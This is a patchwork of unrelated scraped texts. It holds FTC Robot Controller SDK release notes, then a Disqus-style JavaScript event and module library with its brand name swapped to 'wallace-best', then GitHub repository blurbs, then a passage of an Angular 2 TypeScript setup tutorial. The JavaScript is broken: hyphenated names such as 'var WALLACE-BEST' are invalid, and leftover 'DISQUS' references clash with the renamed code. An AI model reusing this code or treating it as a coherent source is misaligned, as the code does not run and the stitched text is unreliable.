content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this release, init() is triggered right before the start() method. Eventually, the init() method will be triggered when the user presses an "INIT" button on driver station. The init() and loop() methods are now required (i.e., need to be overridden in the user's op mode). The start() and stop() methods are optional. A new LinearOpMode class is introduced. Teams can use the LinearOpMode mode to create a linear (not event driven) program model. Teams can use blocking statements like Thread.sleep() within a linear op mode. The API for the Legacy Module and Core Device Interface Module have been updated. Support for encoders with the Legacy Module is now working. The hardware loop has been updated for better performance.
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context.urlMap = { 'signup': 'https://wallace-best.com/admin/signup/', 'dashboard': 'http://wallace-best.com/dashboard/', 'admin': 'http://wallace-best.com/admin/', 'logout': '//wallace-best.com/logout/', 'home': 'https://wallace-best.com', 'for_websites': 'http://wallace-best.com/websites/', 'login': 'https://wallace-best.com/profile/login/' }; context.navMap = { 'signup': '', 'dashboard': '', 'admin': '', 'addons': '' }; </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/auth_context.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="//a.wallace-bestdn.com/1391808583/build/css/b31fb2fa3905.css" type="text/css" /> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/build/js/5ee01877d131.js"></script> <script> // // shared/foundation.js // // This file contains the absolute minimum code necessary in order // to create a new application in the WALLACE-BEST namespace. // // You should load this file *before* anything that modifies the WALLACE-BEST global. // /*jshint browser:true, undef:true, strict:true, expr:true, white:true */ /*global wallace-best:true */ var WALLACE-BEST = (function (window, undefined) { "use strict"; var wallace-best = window.wallace-best || {}; // Exception thrown from wallace-best.assert method on failure wallace-best.AssertionError = function (message) { this.message = message; }; wallace-best.AssertionError.prototype.toString = function () { return 'Assertion Error: ' + (this.message || '[no message]'); }; // Raises a wallace-best.AssertionError if value is falsy wallace-best.assert = function (value, message, soft) { if (value) return; if (soft) window.console && window.console.log("DISQUS assertion failed: " + message); else throw new wallace-best.AssertionError(message); }; // Functions to clean attached modules (used by define and cleanup) var cleanFuncs = []; // Attaches a new public interface (module) to the wallace-best namespace. // For example, if wallace-best object is { 'a': { 'b': {} } }: // // wallace-best.define('a.b.c', function () { return { 'd': 'hello' }; }); will transform it into // -> { 'a': { 'b': { 'c': { 'd' : hello' }}}} // // and wallace-best.define('a', function () { return { 'x': 'world' }; }); will transform it into // -> { 'a': { 'b': {}}, 'x': 'world' } // // Attach modules to wallace-best using only this function. wallace-best.define = function (name, fn) { /*jshint loopfunc:true */ if (typeof name === 'function') { fn = name; name = ''; } var parts = name.split('.'); var part = parts.shift(); var cur = wallace-best; var exports = (fn || function () { return {}; }).call({ overwrites: function (obj) { obj.__overwrites__ = true; return obj; } }, window); while (part) { cur = (cur[part] ? cur[part] : cur[part] = {}); part = parts.shift(); } for (var key in exports) { if (!exports.hasOwnProperty(key)) continue; /*jshint eqnull:true */ if (!exports.__overwrites__ && cur[key] !== null) { wallace-best.assert(!cur.hasOwnProperty(key), 'Unsafe attempt to redefine existing module: ' + key, true /* soft assertion */); } cur[key] = exports[key]; cleanFuncs.push(function (cur, key) { return function () { delete cur[key]; }; }(cur, key)); } return cur; }; // Alias for wallace-best.define for the sake of semantics. // You should use it when you need to get a reference to another // wallace-best module before that module is defined: // // var collections = wallace-best.use('lounge.collections'); // // wallace-best.use is a single argument function because we don't // want to encourage people to use it instead of wallace-best.define. wallace-best.use = function (name) { return wallace-best.define(name); }; wallace-best.cleanup = function () { for (var i = 0; i < cleanFuncs.length; i++) { cleanFuncs[i](); } }; return wallace-best; })(window); /*jshint expr:true, undef:true, strict:true, white:true, browser:true */ /*global wallace-best:false*/ // // shared/corefuncs.js // wallace-best.define(function (window, undefined) { "use strict"; var wallace-best = window.wallace-best; var document = window.document; var head = document.getElementsByTagName('head')[0] || document.body; var jobs = { running: false, timer: null, queue: [] }; var uid = 0; // Taken from _.uniqueId wallace-best.getUid = function (prefix) { var id = ++uid + ''; return prefix ? prefix + id : id; }; /* Defers func() execution until cond() is true */ wallace-best.defer = function (cond, func) { function beat() { /*jshint boss:true */ var queue = jobs.queue; if (queue.length === 0) { jobs.running = false; clearInterval(jobs.timer); } for (var i = 0, pair; pair = queue[i]; i++) { if (pair[0]()) { queue.splice(i--, 1); pair[1](); } } } jobs.queue.push([cond, func]); beat(); if (!jobs.running) { jobs.running = true; jobs.timer = setInterval(beat, 100); } }; wallace-best.isOwn = function (obj, key) { // The object.hasOwnProperty method fails when the // property under consideration is named 'hasOwnProperty'. return Object.prototype.hasOwnProperty.call(obj, key); }; wallace-best.isString = function (str) { return Object.prototype.toString.call(str) === "[object String]"; }; /* * Iterates over an object or a collection and calls a callback * function with each item as a parameter. */ wallace-best.each = function (collection, callback) { var length = collection.length, forEach = Array.prototype.forEach; if (!isNaN(length)) { // Treat collection as an array if (forEach) { forEach.call(collection, callback); } else { for (var i = 0; i < length; i++) { callback(collection[i], i, collection); } } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); 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bkidwell
init.d script template for running a VirtualBox machine as a service
kintoandar
Several shell scripts organized by function: init script to manage multiple Ghost blog instances + backup to an encrypted tar.gz file using gpg + iptables template + ssh vpn + nagios/nrpe/sensu script for monitoring dmraid, modsecurity, ossec + plugin for IRSSI email on mentions
markdalgleish
Example of a template repository with a single-use "init" script
krishnakumarsingh
Setting Up an Angular 2 Environment Using Typescript, Npm and Webpack PreviousNext This Angular 2 tutorial serves for anyone looking to get up and running with Angular 2 and TypeScript fast. Angular 2 Beta Udemy Last week I’ve read the great Angular 2 book from Ninja Squad. Therefore, I figured it was time to put pen to paper and start building Angular 2 applications using TypeScript. That’s why in this tutorial, we’ll learn how to start an Angular 2 project from scratch and go further by building a development environment with Webpack and more. Getting Started 1. Developing and Building a TypeScript App Let’s start by building our first Angular 2 application using Typescript. First, make sure you have Node.js and npm installed. You can refer to the official website for more information about the installation procedure. Then, install Typescript globally via npm by running the following command in your terminal : 1 2 3 npm install -g typescript Once it is installed, we’ll setup our Typescript project by creating a tsconfig.json file in which we specify the compilation options to use for compiling our project. The typescript NPM module we just installed comes with a compiler, named tsc, that we are going to use for initializing a fresh Typescript project : 1 2 3 4 5 6 7 # Create a new project folder and go inside it mkdir angular2-starter && cd angular2-starter # Generate the Typescript configurations file tsc --init --target es5 --sourceMap --experimentalDecorators --emitDecoratorMetadata Running tsc --init create the tsconfig.json in our project directory, which looks like this : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built" }, "exclude": [ "node_modules" ] } Along with the --init parameter, we passed the following options to the compiler : --target es5 : specify that we want our code to transpile to ECMASCRIPT 5. Thus, it could be run in every browser. --sourceMap : generate source maps files. It helps when debugging ES5 code with the original Typescript code in the chrome devtools. --experimentalDecorators and --emitDecoratorMetadata : allow to use Typescript with decorators. Also notice that options such as module, outDir or rootDir have been added by default. Feel free to read the documentation for more compiler options. So hit npm init in your terminal, and fill in some answers (you can accept the default for all the prompts). Then, install angular2 by running the following command : 1 2 3 npm install --save angular2 You should now have a package.json file that looks like the following: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.17", "es6-shim": "^0.35.1", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.6", "zone.js": "^0.6.17" } } As you can see, angular2 comes with the following dependencies : reflect-metadata : used to enable dependency injection through decorators es6-shim and es6-promise : librairies for ES6 compatabilities and support for ES6 Promise rxjs : a set of librairies for reactive programming zone.js : used to implement zones for Javascript, inspired from Dart. Angular 2 uses it to 